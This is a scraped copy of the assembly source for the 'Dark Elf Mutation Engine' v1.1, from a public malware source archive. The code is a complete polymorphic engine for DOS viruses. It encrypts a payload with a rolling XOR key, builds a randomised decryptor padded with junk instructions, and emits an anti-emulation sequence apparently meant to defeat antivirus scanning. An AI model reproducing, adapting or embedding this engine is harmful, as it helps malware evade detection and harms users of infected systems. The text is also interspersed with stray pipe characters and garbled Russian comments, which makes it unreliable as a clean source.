mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-20 14:08:37 +00:00
822 lines
13 KiB
NASM
822 lines
13 KiB
NASM
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
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; ³ Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 ³
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; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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;
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;¯®¤¯à®£à ¬¬ë :
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; DEME - á ¬ Mutation ¨ ¥áâì
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; Randomize - î§ ¥â ¯®àâ 40h
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; RND - AX = RND(65536)
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PUSHSTATE
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IDEAL
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LOCALS @@
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DEME_MaxDecoderLen=1500
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proc DEME
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;<3B> à ¬¥âàë :
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;es:di - ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á १ã«ìâ â
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; à §¬¥à_¡ãä¥à = à §¬¥à_¨á室®£®_ª®¤ + 1500
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;ds:si - ¤à¥á ª®¤ , ª®â®àë© ¥®¡å®¤¨¬® § è¨ä஢ âì
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;dx - ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪 (¯®¤®¡® ORG xxxx)
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;bx - à §¬¥à ¨á室®£® ª®¤ (¢ ¡ ©â å)
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;‚®§¢à é ¥â :
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;cx - ¤«¨ ¯®«ã祮£® ª®¤ (¢ ¡ ©â å)
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pushf
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push bx di si ds
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push cs
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pop ds
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cld
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inc bx
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shr bx,1
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mov [DEME_CodeLen],bx
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mov [DEME_Origin],dx
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mov [DEME_BuffOffs],di
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call Randomize
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call DEME_ChooseRegs
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call DEME_GenProlog
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call DEME_GenCrypt
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call DEME_GenEpilog
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pop ds si
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call DEME_Encode
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mov cx,di
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pop di bx
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sub cx,di
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popf
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ret
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endp DEME
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R_AX=00000000b
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R_CX=00000001b
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R_DX=00000010b
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R_BX=00000011b
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R_SP=00000100b
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R_BP=00000101b
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R_SI=00000110b
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R_DI=00000111b
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M_AX=00000001b
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M_CX=00000010b
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M_DX=00000100b
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M_BX=00001000b
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M_SP=00010000b
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M_BP=00100000b
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M_SI=01000000b
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M_DI=10000000b
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M_INDEX=M_BX+M_SI+M_DI
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M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
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DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
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DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
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DEME_Date db ??date,0,??time,0
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proc DEME_Encode near
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push ax bx cx dx si
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mov cx,[DEME_CodeLen]
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mov dx,[DEME_Key]
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@@1:
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lodsw
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xor ax,dx
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stosw
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add dx,[DEME_KeyAdd]
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loop @@1
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pop si dx cx bx ax
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ret
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endp DEME_Encode
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proc DEME_ChooseRegs near
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push ax
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mov [DEME_MaskUsed],M_SP
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mov al,M_INDEX
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call DEME_GetAnyReg
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mov [DEME_RegIndex],ax
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mov al,M_ALL
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call DEME_GetAnyReg
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mov [DEME_RegCounter],ax
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mov al,M_ALL
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call DEME_GetAnyReg
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mov [DEME_RegKey],ax
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pop ax
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ret
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endp DEME_ChooseRegs
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proc DEME_GenProlog near
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push ax bx cx dx
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call DEME_GenRandomSeq
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call DEME_GenAntiWeb
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mov bx,offset DEME_GenLoadIndex
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mov cx,offset DEME_GenLoadKey
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mov dx,offset DEME_GenLoadCounter
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call DEME_MixRegs
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call DEME_GenRandomSeq
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call bx
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call DEME_GenRandomSeq
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call dx
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call DEME_GenRandomSeq
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call cx
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call DEME_GenRandomSeq
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pop dx cx bx ax
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ret
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endp DEME_GenProlog
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proc DEME_GenAntiWeb
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push ax bx cx
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mov cl,[DEME_MaskUsed]
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test cl,M_AX
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je @@1
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mov al,050h
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stosb
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call DEME_GenRandomSeq
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@@1:
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or [DEME_MaskUsed],M_AX
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mov ax,41e4h
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stosw
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call DEME_GenRandomSeq
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mov ax,1100010010001000b
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stosw
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call DEME_GenRandomSeq
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mov ax,41e4h
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stosw
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call DEME_GenRandomSeq
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mov ax,1100010000110000b
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stosw
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mov al,01110101b
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stosw
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mov bx,di
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call DEME_GenRandomSeq
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mov ax,4cb4h
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stosw
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mov ax,21cdh
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stosw
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call DEME_GenRandomSeq
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mov ax,di
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sub ax,bx
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mov [es:bx-1],al
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test cl,M_AX
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je @@2
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mov al,058h
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stosb
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call DEME_GenRandomSeq
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@@2:
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mov [DEME_MaskUsed],cl
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pop cx bx ax
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ret
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endp DEME_GenAntiWeb
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proc DEME_GenLoadIndex near
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push ax
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mov ax,[DEME_RegIndex]
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or al,10111000b
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stosb
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mov [DEME_AddrBeg],di
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stosw
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pop ax
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ret
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endp DEME_GenLoadIndex
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proc DEME_GenLoadKey near
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push ax bx
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call RND
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mov bx,ax
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mov [DEME_Key],ax
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mov ax,[DEME_RegKey]
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call DEME_GenLoadReg16
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pop bx ax
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ret
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endp DEME_GenLoadKey
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proc DEME_GenLoadCounter near
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push ax bx
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mov ax,[DEME_RegCounter]
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mov bx,[DEME_CodeLen]
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call DEME_GenLoadReg16
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pop bx ax
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ret
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endp DEME_GenLoadCounter
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proc DEME_GenCrypt near
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push ax bx cx dx
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mov [DEME_LoopAddr],di
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call DEME_GenRandomSeq
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call DEME_GenXorCmd
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mov dx,offset DEME_GenIncIndex
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mov bx,offset DEME_GenAddKey
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mov cx,offset DEME_GenDecCounter
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call DEME_MixRegs
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call DEME_GenRandomSeq
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call bx
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call DEME_GenRandomSeq
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call dx
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call DEME_GenRandomSeq
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call cx
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call DEME_GenRandomSeq
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call DEME_GenCloseCycle
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call DEME_GenRandomSeq
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pop dx cx bx ax
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ret
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endp DEME_GenCrypt
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proc DEME_GenXorCmd near
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push ax bx
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mov al,2eh
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stosb
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mov al,00110001b
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stosb
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mov bx,[DEME_RegIndex]
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cmp bx,R_BX
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jne @@1
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mov al,00000111b
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@@1:
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cmp bx,R_SI
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jne @@2
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mov al,00000100b
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@@2:
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cmp bx,R_DI
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jne @@3
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mov al,00000101b
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@@3:
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mov bx,[DEME_RegKey]
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shl bl,3
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or al,bl
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stosb
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pop bx ax
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ret
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endp DEME_GenXorCmd
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proc DEME_GenIncIndex near
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push ax bx
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mov bx,[DEME_RegIndex]
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call RND
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and ax,3
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or al,al
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jne @@1
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mov al,01000000b
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or al,bl
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stosb
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stosb
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jmp @@Exit
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@@1:
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dec al
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jne @@2
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mov al,10000001b
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stosb
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mov al,11000000b
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or al,bl
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stosb
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mov ax,2
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stosw
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jmp @@Exit
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@@2:
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dec al
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jne @@3
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mov al,10000001b
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stosb
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mov al,11101000b
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or al,bl
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stosb
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mov ax,-2
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stosw
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jmp @@Exit
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@@3:
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call DEME_GetUnusedReg
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mov bx,2
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call DEME_GenLoadReg16
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mov bx,[DEME_RegIndex]
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mov bh,al
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shl bh,3
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mov al,00000001b
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stosb
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mov al,11000000b
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or al,bl
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or al,bh
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stosb
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@@Exit:
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pop bx ax
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ret
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endp DEME_GenIncIndex
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proc DEME_GenAddKey near
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push ax bx
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mov bx,[DEME_RegKey]
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call RND
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mov [DEME_KeyAdd],ax
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push ax
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call RND
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xor ah,ah
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test al,00000100b
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je @@1
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neg [DEME_KeyAdd]
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mov ah,00101000b
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@@1:
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mov al,10000001b
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stosb
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mov al,11000000b
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xor al,ah
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or al,bl
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stosb
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pop ax
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stosw
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@@Exit:
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pop bx ax
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ret
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endp DEME_GenAddKey
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proc DEME_GenDecCounter near
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push ax bx
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mov bx,[DEME_RegCounter]
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call RND
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and ax,3
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or al,al
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jne @@1
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mov al,01001000b
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or al,bl
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stosb
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jmp @@Exit
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@@1:
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dec al
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jne @@2
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mov al,10000001b
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stosb
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mov al,11000000b
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or al,bl
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stosb
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mov ax,-1
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stosw
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jmp @@Exit
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@@2:
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dec al
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jne @@3
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mov al,10000001b
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stosb
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mov al,11101000b
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or al,bl
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stosb
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mov ax,1
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stosw
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jmp @@Exit
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@@3:
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call DEME_GetUnusedReg
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mov bx,1
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call DEME_GenLoadReg16
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mov bx,[DEME_RegCounter]
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mov bh,al
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shl bh,3
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mov al,00101001b
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stosb
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mov al,11000000b
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or al,bl
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or al,bh
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stosb
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@@Exit:
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pop bx ax
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ret
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endp DEME_GenDecCounter
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proc DEME_GenCloseCycle near
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push ax bx cx dx
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call RND
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and ax,3
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shl ax,1
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mov bx,ax
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call [DEME_Clos1Tbl+bx]
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call RND
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test al,1
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je @@1
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mov al,10011100b
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stosb
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call DEME_GenRandomSeq
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mov al,10011101b
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stosb
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@@1:
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call [DEME_Clos2Tbl+bx]
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call DEME_GenRandomSeq
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call DEME_ClosJmp
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call DEME_GenRandomSeq
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call DEME_ClosJmpShort
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call DEME_GenRandomSeq
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pop dx cx bx ax
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ret
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endp DEME_GenCloseCycle
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DEME_Clos1Tbl dw offset DEME_Clos11
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dw offset DEME_Clos12
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dw offset DEME_Clos13
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dw offset DEME_Clos14
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DEME_Clos2Tbl dw offset DEME_Clos21
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dw offset DEME_Clos22
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dw offset DEME_Clos21
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dw offset DEME_Clos21
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proc DEME_Clos11 near
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push ax bx
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mov al,10000001b
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stosb
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mov ax,[DEME_RegCounter]
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or al,11111000b
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stosb
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xor ax,ax
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stosw
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pop bx ax
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ret
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endp DEME_Clos11
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proc DEME_Clos12 near
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push ax bx
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mov al,10000001b
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stosb
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mov ax,[DEME_RegCounter]
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or al,11111000b
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stosb
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xor ax,ax
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inc ax
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stosw
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pop bx ax
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ret
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endp DEME_Clos12
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proc DEME_Clos13 near
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push ax bx
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mov al,00001001b
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stosb
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mov ax,[DEME_RegCounter]
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mov ah,11000000b
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or ah,al
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shl al,3
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or al,ah
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stosb
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pop bx ax
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ret
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endp DEME_Clos13
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proc DEME_Clos14 near
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push ax bx
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mov al,11110111b
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stosb
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mov ax,[DEME_RegCounter]
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or al,11000000b
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stosb
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xor ax,ax
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dec ax
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stosw
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pop bx ax
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ret
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endp DEME_Clos14
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proc DEME_Clos21 near
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push ax
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mov al,01110100b
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stosb
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mov [DEME_JmpShort],di
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stosb
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pop ax
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ret
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endp DEME_Clos21
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proc DEME_Clos22 near
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push ax
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mov al,01110010b
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stosb
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mov [DEME_JmpShort],di
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stosb
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pop ax
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ret
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endp DEME_Clos22
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proc DEME_ClosJmp near
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push ax
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mov al,11101001b
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stosb
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mov ax,[DEME_LoopAddr]
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sub ax,di
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dec ax
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dec ax
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stosw
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pop ax
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ret
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endp DEME_ClosJmp
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proc DEME_ClosJmpShort near
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push ax bx
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mov ax,di
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mov bx,[DEME_JmpShort]
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sub ax,bx
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dec ax
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mov [es:bx],al
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pop bx ax
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ret
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||
endp DEME_ClosJmpShort
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proc DEME_GenEpilog near
|
||
push ax bx dx
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call RND
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and ax,3fh
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inc ax
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@@1:
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call DEME_GenTrash
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||
dec ax
|
||
jnz @@1
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||
mov bx,[DEME_AddrBeg]
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mov dx,di
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sub dx,[DEME_BuffOffs]
|
||
add dx,[DEME_Origin]
|
||
mov [es:bx],dx
|
||
pop dx bx ax
|
||
ret
|
||
endp DEME_GenEpilog
|
||
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||
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proc DEME_MixRegs near
|
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push ax
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call RND
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test al,1
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je @@1
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xchg bx,cx
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@@1:
|
||
test al,2
|
||
je @@2
|
||
xchg cx,dx
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||
@@2:
|
||
test al,4
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||
je @@3
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xchg bx,dx
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@@3:
|
||
pop ax
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||
ret
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||
endp DEME_MixRegs
|
||
|
||
|
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proc Randomize near
|
||
push ax
|
||
in ax,40h
|
||
mov [seed1],ax
|
||
pop ax
|
||
ret
|
||
endp Randomize
|
||
|
||
proc RND near
|
||
push dx
|
||
mov ax,[seed]
|
||
xor ax,[seed1]
|
||
mul ax
|
||
mov al,dl
|
||
mov [seed],ax
|
||
pop dx
|
||
ret
|
||
endp RND
|
||
|
||
|
||
;ƒ¥¥à æ¨ï ª®¬ ¤
|
||
|
||
proc DEME_GenRandomSeq near
|
||
;ƒ¥¥à¨â ªãçã ¬ãá®à
|
||
push ax
|
||
call RND
|
||
and ax,0fh
|
||
inc ax
|
||
@@1:
|
||
call DEME_GenTrash
|
||
dec ax
|
||
jnz @@1
|
||
pop ax
|
||
ret
|
||
endp DEME_GenRandomSeq
|
||
|
||
proc DEME_GenTrash near
|
||
;ƒ¥¥à¨â '¬ãá®àãî' ª®¬ ¤ã
|
||
push ax bx
|
||
call RND
|
||
and ax,3
|
||
shl ax,1
|
||
mov bx,ax
|
||
call [DEME_TrashTbl+bx]
|
||
pop bx ax
|
||
ret
|
||
endp DEME_GenTrash
|
||
|
||
DEME_TrashTbl dw offset DEME_GenCmd1
|
||
dw offset DEME_GenCmd2
|
||
dw offset DEME_GenCmd3
|
||
dw offset DEME_GenCmd4
|
||
|
||
proc DEME_GenCmd1 near
|
||
;ƒ¥¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ¤ã ¨§¢à é îéãî AX
|
||
ret
|
||
push ax bx
|
||
test [DEME_MaskUsed],M_AX
|
||
jne @@Exit
|
||
call RND
|
||
and ax,7
|
||
mov bx,ax
|
||
mov al,[DEME_Cmds1+bx]
|
||
stosb
|
||
@@Exit:
|
||
pop bx ax
|
||
ret
|
||
endp DEME_GenCmd1
|
||
|
||
DEME_Cmds1 db 00110111b ;aaa
|
||
db 00111111b ;aas
|
||
db 10011000b ;cbw
|
||
db 00100111b ;daa
|
||
db 00101111b ;das
|
||
db 01001000b ;dec ax
|
||
db 01000000b ;inc ax
|
||
db 10011111b ;lahf
|
||
|
||
|
||
proc DEME_GenCmd2 near
|
||
;ƒ¥¥à¨â 1-®¯¥à ¤ãî ª®¬ ¤ã
|
||
push ax bx
|
||
call RND
|
||
and ax,0fh
|
||
mov bx,ax
|
||
shl bx,1
|
||
mov al,[DEME_Cmds2+bx]
|
||
stosb
|
||
mov bl,[DEME_Cmds2+bx+1]
|
||
call DEME_GetUnusedReg
|
||
or al,bl
|
||
stosb
|
||
pop bx ax
|
||
ret
|
||
endp DEME_GenCmd2
|
||
|
||
DEME_Cmds2 db 0d1h,11000000b ;rol
|
||
db 0d1h,11001000b ;ror
|
||
db 0d1h,11010000b ;rcl
|
||
db 0d1h,11011000b ;rcr
|
||
db 0d1h,11100000b ;shl
|
||
db 0d1h,11101000b ;shr
|
||
db 0ffh,11000000b ;inc
|
||
db 0ffh,11001000b ;dec
|
||
db 0f7h,11010000b ;not
|
||
db 0f7h,11011000b ;neg
|
||
db 0d3h,11000000b ;rol cl
|
||
db 0d3h,11001000b ;ror cl
|
||
db 0d3h,11010000b ;rcl cl
|
||
db 0d3h,11011000b ;rcr cl
|
||
db 0d3h,11100000b ;shl cl
|
||
db 0d3h,11101000b ;shr cl
|
||
|
||
proc DEME_GenCmd3 near
|
||
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã á ¥¯®á।áâ¢¥ë¬ § 票¥¬
|
||
push ax bx
|
||
mov al,[DEME_MaskUsed]
|
||
push ax
|
||
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ¤ ¤à㣨¥
|
||
call RND
|
||
xor ah,ah
|
||
mov bl,9
|
||
div bl
|
||
mov bl,ah
|
||
xor bh,bh
|
||
shl bx,1
|
||
mov al,[DEME_Cmds3+bx]
|
||
stosb
|
||
mov bl,[DEME_Cmds3+bx+1]
|
||
call DEME_GetUnusedReg
|
||
or al,bl
|
||
stosb
|
||
call RND
|
||
stosw
|
||
pop ax
|
||
mov [DEME_MaskUsed],al
|
||
pop bx ax
|
||
ret
|
||
endp DEME_GenCmd3
|
||
|
||
DEME_Cmds3 db 081h,11000000b ;add
|
||
db 081h,11010000b ;adc
|
||
db 081h,11101000b ;sub
|
||
db 081h,11110000b ;xor
|
||
db 0f7h,11000000b ;test
|
||
db 081h,11011000b ;sbb
|
||
db 081h,11001000b ;or
|
||
db 081h,11111000b ;cmp
|
||
db 081h,11100000b ;and
|
||
; db 0c7h,11000000b ;mov
|
||
|
||
|
||
proc DEME_GenCmd4 near
|
||
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã
|
||
push ax bx cx dx
|
||
|
||
call RND
|
||
xor ah,ah
|
||
mov bl,10
|
||
div bl
|
||
mov bl,ah
|
||
xor bh,bh
|
||
mov al,[DEME_Cmds4+bx]
|
||
stosb
|
||
|
||
call DEME_GetUnusedReg
|
||
shl al,3
|
||
mov dl,al
|
||
call RND
|
||
and al,00000111b
|
||
or al,11000000b
|
||
or al,dl
|
||
stosb
|
||
|
||
pop dx cx bx ax
|
||
ret
|
||
endp DEME_GenCmd4
|
||
|
||
DEME_Cmds4 db 003h ;add
|
||
db 013h ;adc
|
||
db 02bh ;sub
|
||
db 033h ;xor
|
||
db 085h ;test
|
||
db 01bh ;sbb
|
||
db 00bh ;or
|
||
db 03bh ;cmp
|
||
db 023h ;and
|
||
db 08bh ;mov
|
||
|
||
|
||
proc DEME_GetUnusedReg near
|
||
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
|
||
push bx
|
||
mov bl,[DEME_MaskUsed]
|
||
mov al,M_ALL
|
||
call DEME_GetAnyReg
|
||
mov [DEME_MaskUsed],bl
|
||
pop bx
|
||
ret
|
||
endp DEME_GetUnusedReg
|
||
|
||
|
||
proc DEME_GetAnyReg near
|
||
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥®© £à㯯ë
|
||
push bx cx
|
||
mov bl,al
|
||
not bl
|
||
or bl,[DEME_MaskUsed]
|
||
|
||
call RND
|
||
and ax,7
|
||
mov cl,al
|
||
mov ah,1
|
||
rol ah,cl
|
||
@@11:
|
||
test ah,bl
|
||
je @@12
|
||
inc al
|
||
and al,7
|
||
rol ah,1
|
||
jmp @@11
|
||
@@12:
|
||
or [DEME_MaskUsed],ah
|
||
and ax,7
|
||
pop cx bx
|
||
ret
|
||
endp DEME_GetAnyReg
|
||
|
||
|
||
proc DEME_GenLoadReg16 near
|
||
;ƒ¥¥à¨â § £à㧪ã ॣ¨áâà
|
||
;ax - ª ª®£®
|
||
;bx - 祬
|
||
push ax bx
|
||
and al,00000111b
|
||
or al,10111000b
|
||
stosb
|
||
mov ax,bx
|
||
stosw
|
||
pop bx ax
|
||
ret
|
||
endp DEME_GenLoadReg16
|
||
|
||
Seed dw 0
|
||
Seed1 dw 0
|
||
DEME_MaskUsed db 0
|
||
|
||
DEME_RegIndex dw 0
|
||
DEME_RegCounter dw 0
|
||
DEME_RegKey dw 0
|
||
|
||
DEME_Origin dw 0
|
||
DEME_BuffOffs dw 0
|
||
|
||
DEME_LoopAddr dw 0
|
||
DEME_JmpShort dw 0
|
||
DEME_CodeLen dw 0
|
||
DEME_Key dw 0
|
||
DEME_KeyAdd dw 0
|
||
DEME_AddrBeg dw 0
|
||
|
||
POPSTATE
|
||
|
||
|
||
|
||
|